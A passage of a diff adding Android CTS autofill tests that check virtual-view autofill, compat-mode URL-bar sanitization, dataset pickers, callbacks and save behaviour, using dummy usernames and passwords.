+import static android.autofillservice.cts.testcore.Helper.getContext;
+import static android.autofillservice.cts.testcore.InstrumentedAutoFillServiceCompatMode.SERVICE_NAME;
+import static android.autofillservice.cts.testcore.InstrumentedAutoFillServiceCompatMode.SERVICE_PACKAGE;
+import static android.provider.Settings.Global.AUTOFILL_COMPAT_MODE_ALLOWED_PACKAGES;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+
+import static com.android.compatibility.common.util.SettingsUtils.NAMESPACE_GLOBAL;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.assist.AssistStructure.ViewNode;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.FillRequest;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.SaveRequest;
+import android.autofillservice.cts.testcore.OneTimeTextWatcher;
+import android.autofillservice.cts.testcore.Timeouts;
+import android.content.AutofillOptions;
+import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.Presubmit;
+import android.service.autofill.SaveInfo;
+
+import com.android.compatibility.common.util.SettingsStateChangerRule;
+import com.android.compatibility.common.util.SettingsUtils;
+
+import org.junit.After;
+import org.junit.ClassRule;
+import org.junit.Test;
+
+/**
+ * Test case for an activity containing virtual children but using the A11Y compat mode to implement
+ * the Autofill APIs.
+ */
+public class VirtualContainerActivityCompatModeTest extends VirtualContainerActivityTest {
+
+    @ClassRule
+    public static final SettingsStateChangerRule sCompatModeChanger = new SettingsStateChangerRule(
+            sContext, NAMESPACE_GLOBAL, AUTOFILL_COMPAT_MODE_ALLOWED_PACKAGES,
+            SERVICE_PACKAGE + "[my_url_bar]");
+
+    public VirtualContainerActivityCompatModeTest() {
+        super(true);
+    }
+
+    @After
+    public void resetCompatMode() {
+        sContext.getApplicationContext().setAutofillOptions(null);
+    }
+
+    @Override
+    protected void preActivityCreated() {
+        sContext.getApplicationContext()
+                .setAutofillOptions(AutofillOptions.forWhitelistingItself());
+    }
+
+    @Override
+    protected void postActivityLaunched() {
+        // Set our own compat mode as well..
+        mActivity.mCustomView.setCompatMode(true);
+    }
+
+    @Override
+    protected void enableService() {
+        Helper.enableAutofillService(getContext(), SERVICE_NAME);
+    }
+
+    @Override
+    protected void disableService() {
+        Helper.disableAutofillService(getContext());
+    }
+
+    @Override
+    protected void assertUrlBarIsSanitized(ViewNode urlBar) {
+        assertTextIsSanitized(urlBar);
+        assertThat(urlBar.getWebDomain()).isEqualTo("dev.null");
+        assertThat(urlBar.getWebScheme()).isEqualTo("ftp");
+    }
+
+    @Presubmit
+    @Test
+    public void testMultipleUrlBars_firstDoesNotExist() throws Exception {
+        SettingsUtils.syncSet(sContext, NAMESPACE_GLOBAL, AUTOFILL_COMPAT_MODE_ALLOWED_PACKAGES,
+                SERVICE_PACKAGE + "[first_am_i,my_url_bar]");
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude", createPresentation("DUDE"))
+                .build());
+
+        // Trigger autofill.
+        focusToUsername();
+        assertDatasetShown(mActivity.mUsername, "DUDE");
+
+        // Make sure input was sanitized.
+        final FillRequest request = sReplier.getNextFillRequest();
+        final ViewNode urlBar = findNodeByResourceId(request.structure, ID_URL_BAR);
+
+        assertUrlBarIsSanitized(urlBar);
+    }
+
+    @Test
+    @AppModeFull(reason = "testMultipleUrlBars_firstDoesNotExist() is enough")
+    public void testMultipleUrlBars_bothExist() throws Exception {
+        SettingsUtils.syncSet(sContext, NAMESPACE_GLOBAL, AUTOFILL_COMPAT_MODE_ALLOWED_PACKAGES,
+                SERVICE_PACKAGE + "[my_url_bar,my_url_bar2]");
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude", createPresentation("DUDE"))
+                .build());
+
+        // Trigger autofill.
+        focusToUsername();
+        assertDatasetShown(mActivity.mUsername, "DUDE");
+
+        // Make sure input was sanitized.
+        final FillRequest request = sReplier.getNextFillRequest();
+        final ViewNode urlBar = findNodeByResourceId(request.structure, ID_URL_BAR);
+        final ViewNode urlBar2 = findNodeByResourceId(request.structure, ID_URL_BAR2);
+
+        assertUrlBarIsSanitized(urlBar);
+        assertTextIsSanitized(urlBar2);
+    }
+
+    @Test
+    @AppModeFull(reason = "testMultipleUrlBars_firstDoesNotExist() is enough")
+    public void testFocusOnUrlBarIsIgnored() throws Throwable {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD).build());
+
+        // Trigger auto-fill.
+        focusToUsernameExpectNoWindowEvent();
+        sReplier.getNextFillRequest();
+
+        mActivity.syncRunOnUiThread(() -> mActivity.mUrlBar.requestFocus());
+
+        // Must force sleep, as there is no callback that we can wait upon.
+        SystemClock.sleep(Timeouts.FILL_TIMEOUT.ms());
+
+        sReplier.assertNoUnhandledFillRequests();
+    }
+
+    @Test
+    @AppModeFull(reason = "testMultipleUrlBars_firstDoesNotExist() is enough")
+    public void testUrlBarChangeIgnoredWhenServiceCanSave() throws Throwable {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setSaveInfoFlags(SaveInfo.FLAG_SAVE_ON_ALL_VIEWS_INVISIBLE)
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD).build());
+
+        // Trigger auto-fill.
+        focusToUsernameExpectNoWindowEvent();
+        sReplier.getNextFillRequest();
+
+        // Fill in some stuff
+        mActivity.mUsername.setText("foo");
+        focusToPasswordExpectNoWindowEvent();
+        mActivity.mPassword.setText("bar");
+
+        // Change URL bar before views become invisible
+        final OneTimeTextWatcher urlWatcher = new OneTimeTextWatcher("urlWatcher",
+                mActivity.mUrlBar, "http://null/dev");
+        mActivity.mUrlBar.addTextChangedListener(urlWatcher);
+        mActivity.syncRunOnUiThread(() -> mActivity.mUrlBar.setText("http://null/dev"));
+        urlWatcher.assertAutoFilled();
+
+        // Trigger save.
+        // TODO(b/76220569): ideally, save should be triggered by calling:
+        //
+        // setViewsInvisible(VisibilityIntegrationMode.OVERRIDE_IS_VISIBLE_TO_USER);
+        //
+        // But unfortunately that's not always working due to flakiness on showing the UI, hence
+        // we're forcing commit - after all, the point here is the the URL update above didn't
+        // cancel the session (which is the case on
+        // testUrlBarChangeCancelSessionWhenServiceCannotSave()
+        mActivity.getAutofillManager().commit();
+
+        // Assert UI is showing.
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+        // Assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        final ViewNode username = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
+        final ViewNode password = findNodeByResourceId(saveRequest.structure, ID_PASSWORD);
+        final ViewNode urlBar = findNodeByResourceId(saveRequest.structure, ID_URL_BAR);
+
+        assertTextAndValue(username, "foo");
+        assertTextAndValue(password, "bar");
+        // Make sure it's the URL bar from initial session.
+        assertTextAndValue(urlBar, INITIAL_URL_BAR_VALUE);
+    }
+
+    @Test
+    @AppModeFull(reason = "testMultipleUrlBars_firstDoesNotExist() is enough")
+    public void testUrlBarChangeCancelSessionWhenServiceCannotSave() throws Throwable {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                    .setField(ID_USERNAME, "dude")
+                    .setField(ID_PASSWORD, "sweet")
+                    .setPresentation(createPresentation("The Dude"))
+                    .build())
+                // there's no SaveInfo here
+                .build());
+
+        // Trigger auto-fill.
+        focusToUsernameExpectNoWindowEvent();
+        sReplier.getNextFillRequest();
+        assertDatasetShown(mActivity.mUsername, "The Dude");
+
+        // Fill in some stuff
+        mActivity.mUsername.setText("foo");
+        focusToPasswordExpectNoWindowEvent();
+        mActivity.mPassword.setText("bar");
+
+        // Change URL bar before views become invisible
+        final OneTimeTextWatcher urlWatcher = new OneTimeTextWatcher("urlWatcher",
+                mActivity.mUrlBar, "http://null/dev");
+        mActivity.mUrlBar.addTextChangedListener(urlWatcher);
+        mActivity.syncRunOnUiThread(() -> mActivity.mUrlBar.setText("http://null/dev"));
+        urlWatcher.assertAutoFilled();
+
+        // Trigger save...
+        mActivity.getAutofillManager().commit();
+
+        // ... should not be triggered because the session was already canceled...
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+    }
+
+    @Test
+    @AppModeFull(reason = "testMultipleUrlBars_firstDoesNotExist() is enough")
+    public void testUrlBarChangeCancelSessionWhenServiceReturnsNullResponse() throws Throwable {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(CannedFillResponse.NO_RESPONSE);
+
+        // Trigger auto-fill.
+        focusToUsernameExpectNoWindowEvent();
+        sReplier.getNextFillRequest();
+
+        // Fill in some stuff
+        mActivity.mUsername.setText("foo");
+        sReplier.addResponse(CannedFillResponse.NO_RESPONSE);
+        focusToPasswordExpectNoWindowEvent();
+        sReplier.getNextFillRequest();
+        mActivity.mPassword.setText("bar");
+
+        // Change URL bar before views become invisible
+        final OneTimeTextWatcher urlWatcher = new OneTimeTextWatcher("urlWatcher",
+                mActivity.mUrlBar, "http://null/dev");
+        mActivity.mUrlBar.addTextChangedListener(urlWatcher);
+        mActivity.syncRunOnUiThread(() -> mActivity.mUrlBar.setText("http://null/dev"));
+        urlWatcher.assertAutoFilled();
+
+        // Trigger save...
+        mActivity.getAutofillManager().commit();
+
+        // ... should not be triggered because the session was already canceled...
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dropdown/VirtualContainerActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/dropdown/VirtualContainerActivityTest.java
new file mode 100644
index 0000000..fc32cfc
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/dropdown/VirtualContainerActivityTest.java
@@ -0,0 +1,828 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.dropdown;
+
+import static android.autofillservice.cts.activities.VirtualContainerView.ID_URL_BAR;
+import static android.autofillservice.cts.activities.VirtualContainerView.LABEL_CLASS;
+import static android.autofillservice.cts.activities.VirtualContainerView.TEXT_CLASS;
+import static android.autofillservice.cts.testcore.CannedFillResponse.NO_RESPONSE;
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD_LABEL;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME_LABEL;
+import static android.autofillservice.cts.testcore.Helper.assertTextAndValue;
+import static android.autofillservice.cts.testcore.Helper.assertTextIsSanitized;
+import static android.autofillservice.cts.testcore.Helper.assertTextOnly;
+import static android.autofillservice.cts.testcore.Helper.dumpStructure;
+import static android.autofillservice.cts.testcore.Helper.findNodeByResourceId;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.app.assist.AssistStructure.ViewNode;
+import android.autofillservice.cts.activities.VirtualContainerActivity;
+import android.autofillservice.cts.activities.VirtualContainerView;
+import android.autofillservice.cts.activities.VirtualContainerView.Line;
+import android.autofillservice.cts.activities.VirtualContainerView.VisibilityIntegrationMode;
+import android.autofillservice.cts.commontests.AutoFillServiceTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.FillRequest;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.SaveRequest;
+import android.autofillservice.cts.testcore.MyAutofillCallback;
+import android.graphics.Rect;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.Presubmit;
+import android.service.autofill.SaveInfo;
+import android.support.test.uiautomator.UiObject2;
+import android.text.InputType;
+import android.view.ViewGroup;
+import android.view.autofill.AutofillManager;
+
+import org.junit.Ignore;
+import org.junit.Test;
+
+import java.util.concurrent.TimeoutException;
+
+/**
+ * Test case for an activity containing virtual children, either using the explicit Autofill APIs
+ * or Compat mode.
+ */
+public class VirtualContainerActivityTest
+        extends AutoFillServiceTestCase.AutoActivityLaunch<VirtualContainerActivity> {
+
+    // TODO(b/74256300): remove when fixed it :-)
+    private static final boolean BUG_74256300_FIXED = false;
+
+    private final boolean mCompatMode;
+    private AutofillActivityTestRule<VirtualContainerActivity> mActivityRule;
+    protected VirtualContainerActivity mActivity;
+
+    public VirtualContainerActivityTest() {
+        this(false);
+    }
+
+    protected VirtualContainerActivityTest(boolean compatMode) {
+        mCompatMode = compatMode;
+    }
+
+    /**
+     * Hook for subclass to customize test before activity is created.
+     */
+    protected void preActivityCreated() {}
+
+    /**
+     * Hook for subclass to customize activity after it's launched.
+     */
+    protected void postActivityLaunched() {}
+
+    @Override
+    protected AutofillActivityTestRule<VirtualContainerActivity> getActivityRule() {
+        if (mActivityRule == null) {
+            mActivityRule = new AutofillActivityTestRule<VirtualContainerActivity>(
+                    VirtualContainerActivity.class) {
+                @Override
+                protected void beforeActivityLaunched() {
+                    preActivityCreated();
+                }
+
+                @Override
+                protected void afterActivityLaunched() {
+                    mActivity = getActivity();
+                    postActivityLaunched();
+                }
+            };
+
+        }
+        return mActivityRule;
+    }
+
+    @Presubmit
+    @Test
+    public void testAutofillSync() throws Exception {
+        autofillTest(true);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutofillSync() is enough")
+    public void testAutofillAsync() throws Exception {
+        skipTestOnCompatMode();
+
+        autofillTest(false);
+    }
+
+    @Presubmit
+    @Test
+    public void testAutofill_appContext() throws Exception {
+        mActivity.mCustomView.setAutofillManager(mActivity.getApplicationContext());
+        autofillTest(true);
+        // Validation check to make sure autofill is enabled in the application context
+        assertThat(mActivity.getApplicationContext().getSystemService(AutofillManager.class)
+                .isEnabled()).isTrue();
+    }
+
+    /**
+     * Focus to username and expect window event
+     */
+    void focusToUsername() throws TimeoutException {
+        mUiBot.waitForWindowChange(() -> mActivity.mUsername.changeFocus(true));
+    }
+
+    /**
+     * Focus to username and expect no autofill window event
+     */
+    void focusToUsernameExpectNoWindowEvent() throws Throwable {
+        // TODO: should use waitForWindowChange() if we can filter out event of app Activity itself.
+        mActivityRule.runOnUiThread(() -> mActivity.mUsername.changeFocus(true));
+    }
+
+    /**
+     * Focus to password and expect window event
+     */
+    void focusToPassword() throws TimeoutException {
+        mUiBot.waitForWindowChange(() -> mActivity.mPassword.changeFocus(true));
+    }
+
+    /**
+     * Focus to password and expect no autofill window event
+     */
+    void focusToPasswordExpectNoWindowEvent() throws Throwable {
+        // TODO should use waitForWindowChange() if we can filter out event of app Activity itself.
+        mActivityRule.runOnUiThread(() -> mActivity.mPassword.changeFocus(true));
+    }
+
+    /**
+     * Tests autofilling the virtual views, using the sync / async version of ViewStructure.addChild
+     */
+    private void autofillTest(boolean sync) throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude", createPresentation("DUDE"))
+                .setField(ID_PASSWORD, "sweet", createPresentation("SWEET"))
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+        mActivity.mCustomView.setSync(sync);
+
+        // Trigger auto-fill.
+        focusToUsername();
+        assertDatasetShown(mActivity.mUsername, "DUDE");
+
+        // Play around with focus to make sure picker is properly drawn.
+        if (BUG_74256300_FIXED || !mCompatMode) {
+            focusToPassword();
+            assertDatasetShown(mActivity.mPassword, "SWEET");
+
+            focusToUsername();
+            assertDatasetShown(mActivity.mUsername, "DUDE");
+        }
+
+        // Make sure input was sanitized.
+        final FillRequest request = sReplier.getNextFillRequest();
+        final ViewNode urlBar = findNodeByResourceId(request.structure, ID_URL_BAR);
+        final ViewNode usernameLabel = findNodeByResourceId(request.structure, ID_USERNAME_LABEL);
+        final ViewNode username = findNodeByResourceId(request.structure, ID_USERNAME);
+        final ViewNode passwordLabel = findNodeByResourceId(request.structure, ID_PASSWORD_LABEL);
+        final ViewNode password = findNodeByResourceId(request.structure, ID_PASSWORD);
+
+        assertUrlBarIsSanitized(urlBar);
+        assertTextIsSanitized(username);
+        assertTextIsSanitized(password);
+        assertLabel(usernameLabel, "Username");
+        assertLabel(passwordLabel, "Password");
+
+        assertThat(usernameLabel.getClassName()).isEqualTo(LABEL_CLASS);
+        assertThat(username.getClassName()).isEqualTo(TEXT_CLASS);
+        assertThat(passwordLabel.getClassName()).isEqualTo(LABEL_CLASS);
+        assertThat(password.getClassName()).isEqualTo(TEXT_CLASS);
+
+        assertThat(username.getIdEntry()).isEqualTo(ID_USERNAME);
+        assertThat(password.getIdEntry()).isEqualTo(ID_PASSWORD);
+
+        assertThat(username.getInputType())
+                .isEqualTo(InputType.TYPE_CLASS_TEXT | InputType.TYPE_TEXT_VARIATION_NORMAL);
+        assertThat(usernameLabel.getInputType()).isEqualTo(0);
+        assertThat(password.getInputType())
+                .isEqualTo(InputType.TYPE_CLASS_TEXT | InputType.TYPE_TEXT_VARIATION_PASSWORD);
+        assertThat(passwordLabel.getInputType()).isEqualTo(0);
+
+        final String[] autofillHints = username.getAutofillHints();
+        final boolean hasCompatModeFlag = (request.flags
+                & android.service.autofill.FillRequest.FLAG_COMPATIBILITY_MODE_REQUEST) != 0;
+        if (mCompatMode) {
+            assertThat(hasCompatModeFlag).isTrue();
+            assertThat(autofillHints).isNull();
+            assertThat(username.getHtmlInfo()).isNull();
+            assertThat(password.getHtmlInfo()).isNull();
+        } else {
+            assertThat(hasCompatModeFlag).isFalse();
+            // Make sure order is preserved and dupes not removed.
+            assertThat(autofillHints).asList()
+                    .containsExactly("c", "a", "a", "b", "a", "a")
+                    .inOrder();
+            try {
+                VirtualContainerView.assertHtmlInfo(username);
+                VirtualContainerView.assertHtmlInfo(password);
+            } catch (AssertionError | RuntimeException e) {
+                dumpStructure("HtmlInfo failed", request.structure);
+                throw e;
+            }
+        }
+
+        // Make sure initial focus was properly set.
+        assertWithMessage("Username node is not focused").that(username.isFocused()).isTrue();
+        assertWithMessage("Password node is focused").that(password.isFocused()).isFalse();
+
+        // Auto-fill it.
+        mUiBot.selectDataset("DUDE");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutofillSync() is enough")
+    public void testAutofillTwoDatasets() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("The Dude"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "DUDE")
+                        .setField(ID_PASSWORD, "SWEET")
+                        .setPresentation(createPresentation("THE DUDE"))
+                        .build())
+                .build());
+        mActivity.expectAutoFill("DUDE", "SWEET");
+
+        // Trigger auto-fill.
+        focusToUsername();
+        sReplier.getNextFillRequest();
+        assertDatasetShown(mActivity.mUsername, "The Dude", "THE DUDE");
+
+        // Play around with focus to make sure picker is properly drawn.
+        if (BUG_74256300_FIXED || !mCompatMode) {
+            focusToPassword();
+            assertDatasetShown(mActivity.mPassword, "The Dude", "THE DUDE");
+            focusToUsername();
+            assertDatasetShown(mActivity.mUsername, "The Dude", "THE DUDE");
+        }
+
+        // Auto-fill it.
+        mUiBot.selectDataset("THE DUDE");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Presubmit
+    @Test
+    public void testAutofillOverrideDispatchProvideAutofillStructure() throws Exception {
+        mActivity.mCustomView.setOverrideDispatchProvideAutofillStructure(true);
+        autofillTest(true);
+    }
+
+    @Presubmit
+    @Test
+    public void testAutofillManuallyOneDataset() throws Exception {
+        skipTestOnCompatMode(); // TODO(b/73557072): not supported yet
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        mActivity.requestAutofill(mActivity.mUsername);
+        sReplier.getNextFillRequest();
+
+        // Select datatest.
+        mUiBot.selectDataset("The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutofillManuallyOneDataset() is enough")
+    public void testAutofillManuallyTwoDatasetsPickFirst() throws Exception {
+        autofillManuallyTwoDatasets(true);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutofillManuallyOneDataset() is enough")
+    public void testAutofillManuallyTwoDatasetsPickSecond() throws Exception {
+        autofillManuallyTwoDatasets(false);
+    }
+
+    private void autofillManuallyTwoDatasets(boolean pickFirst) throws Exception {
+        skipTestOnCompatMode(); // TODO(b/73557072): not supported yet
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("The Dude"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "jenny")
+                        .setField(ID_PASSWORD, "8675309")
+                        .setPresentation(createPresentation("Jenny"))
+                        .build())
+                .build());
+        if (pickFirst) {
+            mActivity.expectAutoFill("dude", "sweet");
+        } else {
+            mActivity.expectAutoFill("jenny", "8675309");
+
+        }
+
+        // Trigger auto-fill.
+        mActivity.getSystemService(AutofillManager.class).requestAutofill(
+                mActivity.mCustomView, mActivity.mUsername.text.id,
+                mActivity.mUsername.getAbsCoordinates());
+        sReplier.getNextFillRequest();
+
+        // Auto-fill it.
+        final UiObject2 picker = assertDatasetShown(mActivity.mUsername, "The Dude", "Jenny");
+        mUiBot.selectDataset(picker, pickFirst ? "The Dude" : "Jenny");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Presubmit
+    @Test
+    public void testAutofillCallbacks() throws Exception {
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        focusToUsername();
+        sReplier.getNextFillRequest();
+
+        callback.assertUiShownEvent(mActivity.mCustomView, mActivity.mUsername.text.id);
+
+        // Change focus
+        focusToPassword();
+        callback.assertUiHiddenEvent(mActivity.mCustomView, mActivity.mUsername.text.id);
+        callback.assertUiShownEvent(mActivity.mCustomView, mActivity.mPassword.text.id);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutofillCallbacks() is enough")
+    public void testAutofillCallbackDisabled() throws Throwable {
+        // Set service.
+        disableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Trigger auto-fill.
+        focusToUsernameExpectNoWindowEvent();
+
+        // Assert callback was called
+        callback.assertUiUnavailableEvent(mActivity.mCustomView, mActivity.mUsername.text.id);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutofillCallbacks() is enough")
+    public void testAutofillCallbackNoDatasets() throws Throwable {
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Set expectations.
+        sReplier.addResponse(NO_RESPONSE);
+
+        // Trigger autofill.
+        focusToUsernameExpectNoWindowEvent();
+        sReplier.getNextFillRequest();
+
+        // Auto-fill it.
+        mUiBot.assertNoDatasetsEver();
+
+        // Assert callback was called
+        callback.assertUiUnavailableEvent(mActivity.mCustomView, mActivity.mUsername.text.id);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutofillCallbacks() is enough")
+    public void testAutofillCallbackNoDatasetsButSaveInfo() throws Throwable {
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .build());
+
+        // Trigger autofill.
+        focusToUsernameExpectNoWindowEvent();
+        sReplier.getNextFillRequest();
+
+        // Autofill it.
+        mUiBot.assertNoDatasetsEver();
+
+        // Assert callback was called
+        callback.assertUiUnavailableEvent(mActivity.mCustomView, mActivity.mUsername.text.id);
+
+        // Make sure save is not triggered
+        mActivity.getAutofillManager().commit();
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+    }
+
+    @Presubmit
+    @Test
+    public void testSaveDialogNotShownWhenBackIsPressed() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("The Dude"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        focusToUsername();
+        sReplier.getNextFillRequest();
+        assertDatasetShown(mActivity.mUsername, "The Dude");
+
+        mUiBot.pressBack();
+
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+    }
+
+    @Presubmit
+    @Test
+    public void testSave_childViewsGone_notifyAfm() throws Throwable {
+        saveTest(CommitType.CHILDREN_VIEWS_GONE_NOTIFY_CALLBACK_API);
+    }
+
+    @Presubmit
+    @Test
+    public void testSave_childViewsGone_updateView() throws Throwable {
+        saveTest(CommitType.CHILDREN_VIEWS_GONE_NOTIFY_CALLBACK_API);
+    }
+
+    @Test
+    @Ignore("Disabled until b/73493342 is fixed")
+    public void testSave_parentViewGone() throws Throwable {
+        saveTest(CommitType.PARENT_VIEW_GONE);
+    }
+
+    @Presubmit
+    @Test
+    public void testSave_appCallsCommit() throws Throwable {
+        saveTest(CommitType.EXPLICIT_COMMIT);
+    }
+
+    @Presubmit
+    @Test
+    public void testSave_submitButtonClicked() throws Throwable {
+        saveTest(CommitType.SUBMIT_BUTTON_CLICKED);
+    }
+
+    enum CommitType {
+        CHILDREN_VIEWS_GONE_NOTIFY_CALLBACK_API,
+        CHILDREN_VIEWS_GONE_IS_VISIBLE_API,
+        PARENT_VIEW_GONE,
+        EXPLICIT_COMMIT,
+        SUBMIT_BUTTON_CLICKED
+    }
+
+    private void saveTest(CommitType commitType) throws Throwable {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        final CannedFillResponse.Builder response = new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD);
+
+        switch (commitType) {
+            case CHILDREN_VIEWS_GONE_NOTIFY_CALLBACK_API:
+            case CHILDREN_VIEWS_GONE_IS_VISIBLE_API:
+            case PARENT_VIEW_GONE:
+                response.setSaveInfoFlags(SaveInfo.FLAG_SAVE_ON_ALL_VIEWS_INVISIBLE);
+                break;
+            case EXPLICIT_COMMIT:
+                // does nothing
+                break;
+            case SUBMIT_BUTTON_CLICKED:
+                response
+                    .setSaveInfoFlags(SaveInfo.FLAG_DONT_SAVE_ON_FINISH)
+                    .setSaveTriggerId(mActivity.mCustomView.mLoginButtonId);
+                break;
+            default:
+                throw new IllegalArgumentException("invalid type: " + commitType);
+        }
+        sReplier.addResponse(response.build());
+
+        // Trigger auto-fill.
+        focusToUsernameExpectNoWindowEvent();
+        sReplier.getNextFillRequest();
+
+        // Fill in some stuff
+        mActivity.mUsername.setText("foo");
+        focusToPasswordExpectNoWindowEvent();
+        mActivity.mPassword.setText("bar");
+
+        // Trigger save.
+        switch (commitType) {
+            case CHILDREN_VIEWS_GONE_NOTIFY_CALLBACK_API:
+                setViewsInvisible(VisibilityIntegrationMode.NOTIFY_AFM);
+                break;
+            case CHILDREN_VIEWS_GONE_IS_VISIBLE_API:
+                setViewsInvisible(VisibilityIntegrationMode.OVERRIDE_IS_VISIBLE_TO_USER);
+                break;
+            case PARENT_VIEW_GONE:
+                mActivity.runOnUiThread(() -> {
+                    final ViewGroup parent = (ViewGroup) mActivity.mCustomView.getParent();
+                    parent.removeView(mActivity.mCustomView);
+                });
+                break;
+            case EXPLICIT_COMMIT:
+                mActivity.getAutofillManager().commit();
+                break;
+            case SUBMIT_BUTTON_CLICKED:
